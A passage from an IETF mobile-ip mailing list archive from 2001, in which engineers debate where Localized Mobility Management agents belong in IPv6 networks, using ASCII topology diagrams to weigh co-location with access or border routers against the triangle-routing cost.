agent(s) also on some router(s) within the domain to achieve redundancy
and load balancing. What I felt as not in favour of was to put an LMM as
a stand alone box that is not a router.


The idea in my head is thus to co-locate with ANRs (what hesham
mentioned correctly as route aggregation point) and maybe ARs for
multiplicity.

Theo
UCL/Mobile Systems Group


> 
>                 Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 15:42:41 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09723
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 15:42:40 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA20497;
	Wed, 28 Nov 2001 12:41:14 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA20143;
	Wed, 28 Nov 2001 12:40:35 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASKdS1V014011
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 12:39:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASKdRXn014010
	for mobile-ip-dist; Wed, 28 Nov 2001 12:39:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASKdO1V014003
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 12:39:24 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA13080
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 12:39:26 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA09370
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 13:39:25 -0700 (MST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fASKdP518912
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 12:39:25 -0800 (PST)
Message-ID: <007201c1784c$8b409e40$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0C9@Esealnt861.al.sw.ericsson.se>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
Date: Wed, 28 Nov 2001 12:37:49 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hesham,

The diagram Theo originally sent had the border router to the Internet
marked as the second AR vertically,
you seemed to have combined it here with the LMM agent in your
diagram below. The problem is that if you locate the LMM agent anywhere
in the
domain except at the border router or the access router, you may end up
getting an additional dog
leg between the LMM agent and the other router. Here is an example
(if I can get the ASCII text to work right);

                         CN
                           |
                           |
                          BR

               { The Internet }

                        BR
                           \
                            \
                             \
                             LMM
                           /
                         /
                       /
                    AR
                      |
                    MN

If the number of hops between the AR, LMM agent, and BR is low, this
might not be such a problem,
but it is adding a "triangle route" which is what route optimization was
originally designed to eliminate.
The triangle route in this case is much smaller than without LMM because
it does not extend over the Internet,
but it is still there.

If you put the LMM agent at a border router, as you've done below, or an
access router, you still end up with
occasions when the  leg to the MN gets long, but there is only one leg,
and you can optimize by having the MN
switch LMM agents when the leg gets too long. This minimizes the
triangle route.

 If the LMM agent is at the AR, the dog leg can be kept very small,
which is the point I think Theo was trying to make. But you can also put
the LMM agent at the BR, and have multiple BRs, which the MN can switch
between if the dog leg gets too
long. In general, I think the dog leg will be longer if the LMM agent is
at the BR, but it is still easier optimizing than if the
LMM agent is somewhere inside the domain.

But I think this is mostly a matter of network engineering and not
really a requirements issue. The requirements already state that the LMM
agent must be placable in order to minimize triangle routing.

        jak

----- Original Message -----
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Wednesday, November 28, 2001 6:14 AM
Subject: RE: [mobile-ip] LMM for IPv6 requirements-Movement detection


> Theo,
>
>   > Perhaps I did not explain clearly.
>   >
>   > In your schematic you assume that the LMM is in fact an AR!
>   > This is fine
>   > but not what Mike had in mind. Mike talked about _not_
>   > co-locating the
>
> => I didn't think it looked like an AR at all. Here it
> is again with more explanation:
>
>
>                     CN
>                      |
>                      |     Domain A
>                     AR
>                      |
>                     some routers (Backbone)
>
>                      |
>                      |      Domain B
>                      LMM
>                       |  ----------+
>                       |            |
>                      AR1           |
>                       |            AR2
>                      MN
>
>
> As you can see the LMM is clearly separated from the 2
> ARs. It is also 'on the way' to either AR. So any
> packet addressed to the MN would traverse it
> anyway. _In_this_topology_ .
>
> If I was building a network I would want to make sure
> that the LMM agent is on the 'aggregate router' level
> rather than the AR.
>
>   > LMM with an AR. However, an LMM has to be behind a link if not an
AR
>   > itself. Thus, the LMM in such case MUST be behind some AR.
>   > The schematic
>   > becomes:
>   >
>   >
>   >
>   >             CN
>   >              |
>   >              |
>   >              AR
>   >               |
>   >               .
>   >               .
>   >               .
>   >             Internet
>   >               .
>   >               .      1
>   >               |      ->
>   >    (domain)   ARb --------           <-------- decoupling
>   > of AR and LMM
>   > such that LMM is behind
>   >       |       |    <-    | | 2                 that AR (since not
>   > co-located)
>   >       |       |     3   ^| v                   Routing
suboptimality
>   > goes for steps 1,2 and 3
>   >       |       .          |                     as packets have to
go
>   > through that path
>   >       v       .         LMM                    since they
>   > are forwarded
>   > by the LMM to the MN !
>   >               .
>   >               |
>   >               AR
>   >               |
>   >               |
>   >               MN
>   >
>   >
>   > Now take ARb and augment it to be ARb/LMM in one single
>   > box. At the same
>   > time get rid of the individual LMM box; thus you get rid of 1,2,3.
>   > Wouldn't that reason for colocation offering optimality in
>   > the routing
>   > of packets sent by the LMM to the MN?
>
> => You've assumed a certain architecture and based on
> that assumption you're showing that placing the LMM
> agent outside the AR does not work ! You're assuming
> that traffic will arive at ARb first.
> So the point is, suboptimality will depend on:
>
> - Where the CN is ? inside the same domain or a different one ?
> - Network topology
> - Placement of the LMM in the network.
>
> None of the above implies that one way is ALWAYS better.
> I can show you several pictures with two ARs that
> are topologically 'far' as I said in the previous mail.
>
> Hesham
>
>
>
>   >
>   >
>   > Theo
>   > UCL/Mobile Systems Group
>   >
>   >
>   > "Hesham Soliman (ERA)" wrote:
>   > >
>   > >   >
>   > >   > I believe that if you place the LMM agent anywhere else
>   > >   > than the AR you
>   > >   > will eventually have suboptimal routing since it will
>   > need to go to
>   > >   >
>   > >   >   that AR ------> LMM -----> that AR ------> MN
>   > >   >
>   > >
>   > > => I don't really get that logic, it greatly depends on
>   > > where the CN is and the network topology.
>   > >
>   > > E.g :
>   > >
>   > >                     CN
>   > >                      |
>   > >                      |
>   > >                     AR
>   > >                      |
>   > >                     some routers
>   > >
>   > >                      |
>   > >                      |
>   > >                      LMM
>   > >                       |
>   > >                       |
>   > >                      AR
>   > >                       |
>   > >                      MN
>   > >
>   > > Where is the suboptimality here ? The packets
>   > > will traverse the LMM router anyway to get
>   > > to the AR.
>   > >
>   > > You can play around with the topology to get
>   > > one that will add one hop or maybe two, to the
>   > > "optimal route" but I don't think that is a major
>   > > concern. You can also add 10 hops to the optimal
>   > > route but that would be strange network design
>   > > for someone trying to use an LMM agent.
>   > >
>   > > Similarily I can make the LMM in the AR look like
>   > > a very suboptimal solution if the two ARs
>   > > (between which the MN is moving) are not physically
>   > > connected and are topologically 'far'.
>   > >
>   > > So it's not as simple as saying that the LMM
>   > > in the AR is more optimal. Operators will have
>   > > to be careful how they place these agents. This
>   > > will largely depend on their type of access network,
>   > > mobility patterns ...etc.
>   > >
>   > > Hesham
>   >
>



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 17:09:20 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17527
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 17:09:20 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA28223;
	Wed, 28 Nov 2001 14:02:43 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA03551;
	Wed, 28 Nov 2001 13:58:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASLvY1V014247
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 13:57:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASLvYoT014246
	for mobile-ip-dist; Wed, 28 Nov 2001 13:57:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASLvU1V014239
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 13:57:30 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA10602
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 13:57:31 -0800 (PST)
Received: from ALPHA8.CC.MONASH.EDU.AU (alpha8.cc.monash.edu.au [130.194.1.8])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA12429
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 13:57:29 -0800 (PST)
Received: from thwack.its.monash.edu.au ([130.194.1.72])
 by vaxh.cc.monash.edu.au (PMDF V5.2-31 #39306)
 with ESMTP id <01KB9R2E5TQG8WWEB9@vaxh.cc.monash.edu.au> for
 mobile-ip@sunroof.eng.sun.com; Thu, 29 Nov 2001 08:57:23 +1100
Received: from localhost (localhost [127.0.0.1])	by thwack.its.monash.edu.au
 (Postfix) with ESMTP	id 37F4712C006; Thu, 29 Nov 2001 08:57:23 +1100 (EST)
Received: from eng.monash.edu.au (knuth.eng.monash.edu.au [130.194.137.189])
	by thwack.its.monash.edu.au (Postfix) with ESMTP	id 3DE1F12C002; Thu,
 29 Nov 2001 08:57:22 +1100 (EST)
Date: Thu, 29 Nov 2001 09:01:54 +1100
From: Greg Daley <greg.daley@eng.monash.edu.au>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
To: mobile-ip@sunroof.eng.sun.com
Cc: t.pagtzis@cs.ucl.ac.uk
Message-id: <3C055ED2.9F22B412@eng.monash.edu.au>
Organization: Monash University
MIME-version: 1.0
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.10mobile i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
X-Accept-Language: en
References: 
 <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
 <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com>
 <15356.18648.291849.518694@thomasm-u1.cisco.com>
 <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com>
 <3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
 <15364.1118.275867.497327@thomasm-u1.cisco.com>
 <3C042BCD.F6D122EF@eng.monash.edu.au>
 <03e801c177a2$38388500$0e02320a@T23KEMPF>
 <3C044578.16CCB356@eng.monash.edu.au> <3C04A0CC.C4B05924@cs.ucl.ac.uk>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7BIT

	Hi Theo, 

	Maybe this part is a confusion of terms.

	Advertising the LMM locations is obviously part of LMM.

	Since the Advertiser has to know the identities of LMM Mobility
	Agents, I named it an LMM Advertising Agent. (including it as part
	of the logical system).

	This is because the Advertising agent may have to know and
	understand the state of LMM Agents (and must be part of the
	framework, even if this function is not used in every LMM solution).

	I personally don't see any major problem in defining two discrete
	entities with discrete functions both as Agents.

	i.e. the Advertising Agent does not have any of the function of 
		the Mobility Agent (--> packet tunnelling/forwarding/etc.).

	it is most likely a software process like radvd...

	If there is consensus that this description is not helpful, I will 
	refrain from using it.  What others have said recently regarding the 
	location of LMM (Mobility) Agents could indicate that this distinction
	is useful.

		Greg Daley
	


Theo Pagtzis wrote:
> 
> Just a second...
> 
>   the primary function of an LMM agent function is to localise signaling
> w.r.t. BUs as well as forward the traffic to the MN.
> 
> The advertising and dynamic discovery of one or more LMM is _not_ what
> an LMM is characterized as such. That is to say that some agent that
> advertises existence of an LMM is not an LMM agent by itself. I am
> saying this because you seem to decouple the advertising function from
> the core LMM function..while this is fine by me...since you want to
> somewhat centralise reporting of LMM agents to the advertiser such that
> you have better control of advertising.
> 
> However by no means is the advertiser an LMM agent...otherwise you have
> elected a single LMM agent as advertiser, which if it goes does down so
> goes for the advertising capability. In that light the advertiser is not
> an LMM agent.
> 
> The fact that some announcer voices that the king is around does not
> make the announcer a king.
> 
> Theo
> UCL/Mobile Systems Group
> 
> Greg Daley wrote:
> >
> > James Kempf wrote:
> > >
> > > I don't understand what you mean by LMM Mobility. My understanding is
> > > that the only issue involved in movement detection is having the mobile
> > > node determine when it has moved from one LMM agent coverage area to
> > > another. But you seem to have something else in mind.
> > >
> >
> >         Hi James,
> >
> >         It depends on how tight the coupling is.
> >         I just don't want to get into a situation where the draft
> >         says something like "The LMM Agent should be co-located with the AR"
> >
> >         since there are at least two functions:
> >
> > *       The advertising/dynamic discovery mechanism for the LMM domain
> >         (which is intrinsically tied to a set of access networks)
> >
> > *       The mobility management and signalling which may or may not be
> > insensitive
> >         to where the Mobile devices connect from.
> >
> >         Maybe I'm just being reactionary, but since there are two functions,
> >         I see two agents, apart from the mobile node.
> >
> >                 Greg


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 17:23:47 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18987
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 17:23:47 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA05423;
	Wed, 28 Nov 2001 15:22:35 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA00583;
	Wed, 28 Nov 2001 14:22:37 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASMLe1V014440
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 14:21:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASMLd1q014439
	for mobile-ip-dist; Wed, 28 Nov 2001 14:21:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASMLa1V014432
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 14:21:36 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA16262
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 14:21:37 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id PAA12586
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 15:21:36 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.09051-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 22:21:32 +0000
Message-ID: <3C05636C.34BD6A95@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 22:21:32 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0C9@Esealnt861.al.sw.ericsson.se> <007201c1784c$8b409e40$0e02320a@T23KEMPF>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

correct..


James Kempf wrote:
> 
> Hesham,
> 
> The diagram Theo originally sent had the border router to the Internet
> marked as the second AR vertically,
> you seemed to have combined it here with the LMM agent in your
> diagram below. The problem is that if you locate the LMM agent anywhere
> in the
> domain except at the border router or the access router, you may end up
> getting an additional dog
> leg between the LMM agent and the other router. Here is an example
> (if I can get the ASCII text to work right);
> 
>                          CN
>                            |
>                            |
>                           BR
> 
>                { The Internet }
> 
>                         BR
>                            \
>                             \
>                              \
>                              LMM
>                            /
>                          /
>                        /
>                     AR
>                       |
>                     MN
> 
> If the number of hops between the AR, LMM agent, and BR is low, this
> might not be such a problem,
> but it is adding a "triangle route" which is what route optimization was
> originally designed to eliminate.
> The triangle route in this case is much smaller than without LMM because
> it does not extend over the Internet,
> but it is still there.
> 
> If you put the LMM agent at a border router, as you've done below, or an
> access router, you still end up with
> occasions when the  leg to the MN gets long, but there is only one leg,
> and you can optimize by having the MN
> switch LMM agents when the leg gets too long. This minimizes the
> triangle route.
> 
>  If the LMM agent is at the AR, the dog leg can be kept very small,
> which is the point I think Theo was trying to make. But you can also put
> the LMM agent at the BR, and have multiple BRs, which the MN can switch
> between if the dog leg gets too
> long. In general, I think the dog leg will be longer if the LMM agent is
> at the BR, but it is still easier optimizing than if the
> LMM agent is somewhere inside the domain.
> 
> But I think this is mostly a matter of network engineering and not
> really a requirements issue. The requirements already state that the LMM
> agent must be placable in order to minimize triangle routing.
> 
>         jak
> 
> ----- Original Message -----
> From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
> To: <mobile-ip@sunroof.eng.sun.com>
> Sent: Wednesday, November 28, 2001 6:14 AM
> Subject: RE: [mobile-ip] LMM for IPv6 requirements-Movement detection
> 
> > Theo,
> >
> >   > Perhaps I did not explain clearly.
> >   >
> >   > In your schematic you assume that the LMM is in fact an AR!
> >   > This is fine
> >   > but not what Mike had in mind. Mike talked about _not_
> >   > co-locating the
> >
> > => I didn't think it looked like an AR at all. Here it
> > is again with more explanation:
> >
> >
> >                     CN
> >                      |
> >                      |     Domain A
> >                     AR
> >                      |
> >                     some routers (Backbone)
> >
> >                      |
> >                      |      Domain B
> >                      LMM
> >                       |  ----------+
> >                       |            |
> >                      AR1           |
> >                       |            AR2
> >                      MN
> >
> >
> > As you can see the LMM is clearly separated from the 2
> > ARs. It is also 'on the way' to either AR. So any
> > packet addressed to the MN would traverse it
> > anyway. _In_this_topology_ .
> >
> > If I was building a network I would want to make sure
> > that the LMM agent is on the 'aggregate router' level
> > rather than the AR.
> >
> >   > LMM with an AR. However, an LMM has to be behind a link if not an
> AR
> >   > itself. Thus, the LMM in such case MUST be behind some AR.
> >   > The schematic
> >   > becomes:
> >   >
> >   >
> >   >
> >   >             CN
> >   >              |
> >   >              |
> >   >              AR
> >   >               |
> >   >               .
> >   >               .
> >   >               .
> >   >             Internet
> >   >               .
> >   >               .      1
> >   >               |      ->
> >   >    (domain)   ARb --------           <-------- decoupling
> >   > of AR and LMM
> >   > such that LMM is behind
> >   >       |       |    <-    | | 2                 that AR (since not
> >   > co-located)
> >   >       |       |     3   ^| v                   Routing
> suboptimality
> >   > goes for steps 1,2 and 3
> >   >       |       .          |                     as packets have to
> go
> >   > through that path
> >   >       v       .         LMM                    since they
> >   > are forwarded
> >   > by the LMM to the MN !
> >   >               .
> >   >               |
> >   >               AR
> >   >               |
> >   >               |
> >   >               MN
> >   >
> >   >
> >   > Now take ARb and augment it to be ARb/LMM in one single
> >   > box. At the same
> >   > time get rid of the individual LMM box; thus you get rid of 1,2,3.
> >   > Wouldn't that reason for colocation offering optimality in
> >   > the routing
> >   > of packets sent by the LMM to the MN?
> >
> > => You've assumed a certain architecture and based on
> > that assumption you're showing that placing the LMM
> > agent outside the AR does not work ! You're assuming
> > that traffic will arive at ARb first.
> > So the point is, suboptimality will depend on:
> >
> > - Where the CN is ? inside the same domain or a different one ?
> > - Network topology
> > - Placement of the LMM in the network.
> >
> > None of the above implies that one way is ALWAYS better.
> > I can show you several pictures with two ARs that
> > are topologically 'far' as I said in the previous mail.
> >
> > Hesham
> >
> >
> >
> >   >
> >   >
> >   > Theo
> >   > UCL/Mobile Systems Group
> >   >
> >   >
> >   > "Hesham Soliman (ERA)" wrote:
> >   > >
> >   > >   >
> >   > >   > I believe that if you place the LMM agent anywhere else
> >   > >   > than the AR you
> >   > >   > will eventually have suboptimal routing since it will
> >   > need to go to
> >   > >   >
> >   > >   >   that AR ------> LMM -----> that AR ------> MN
> >   > >   >
> >   > >
> >   > > => I don't really get that logic, it greatly depends on
> >   > > where the CN is and the network topology.
> >   > >
> >   > > E.g :
> >   > >
> >   > >                     CN
> >   > >                      |
> >   > >                      |
> >   > >                     AR
> >   > >                      |
> >   > >                     some routers
> >   > >
> >   > >                      |
> >   > >                      |
> >   > >                      LMM
> >   > >                       |
> >   > >                       |
> >   > >                      AR
> >   > >                       |
> >   > >                      MN
> >   > >
> >   > > Where is the suboptimality here ? The packets
> >   > > will traverse the LMM router anyway to get
> >   > > to the AR.
> >   > >
> >   > > You can play around with the topology to get
> >   > > one that will add one hop or maybe two, to the
> >   > > "optimal route" but I don't think that is a major
> >   > > concern. You can also add 10 hops to the optimal
> >   > > route but that would be strange network design
> >   > > for someone trying to use an LMM agent.
> >   > >
> >   > > Similarily I can make the LMM in the AR look like
> >   > > a very suboptimal solution if the two ARs
> >   > > (between which the MN is moving) are not physically
> >   > > connected and are topologically 'far'.
> >   > >
> >   > > So it's not as simple as saying that the LMM
> >   > > in the AR is more optimal. Operators will have
> >   > > to be careful how they place these agents. This
> >   > > will largely depend on their type of access network,
> >   > > mobility patterns ...etc.
> >   > >
> >   > > Hesham
> >   >
> >


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 17:38:56 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20434
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 17:38:56 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA17258;
	Wed, 28 Nov 2001 15:37:40 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA04306;
	Wed, 28 Nov 2001 14:37:46 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASMas1V014578
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 14:36:54 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASMas6f014577
	for mobile-ip-dist; Wed, 28 Nov 2001 14:36:54 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASMao1V014570
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 14:36:50 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA14961
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 14:36:51 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id PAA17470
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 15:36:50 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10281-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 22:36:40 +0000
Message-ID: <3C0566F7.185E7320@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 22:36:39 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: greg.daley@eng.monash.edu.au
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com> <3BFC5C48.ED2BCA05@cs.ucl.ac.uk> <15364.1118.275867.497327@thomasm-u1.cisco.com> <3C042BCD.F6D122EF@eng.monash.edu.au> <03e801c177a2$38388500$0e02320a@T23KEMPF> <3C044578.16CCB356@eng.monash.edu.au> <3C04A0CC.C4B05924@cs.ucl.ac.uk> <3C055ED2.9F22B412@eng.monash.edu.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit


Greg Daley wrote:
> 
>         Hi Theo,
> 
>         Maybe this part is a confusion of terms.

possible, but not on this end.. :)


> 
>         Advertising the LMM locations is obviously part of LMM.

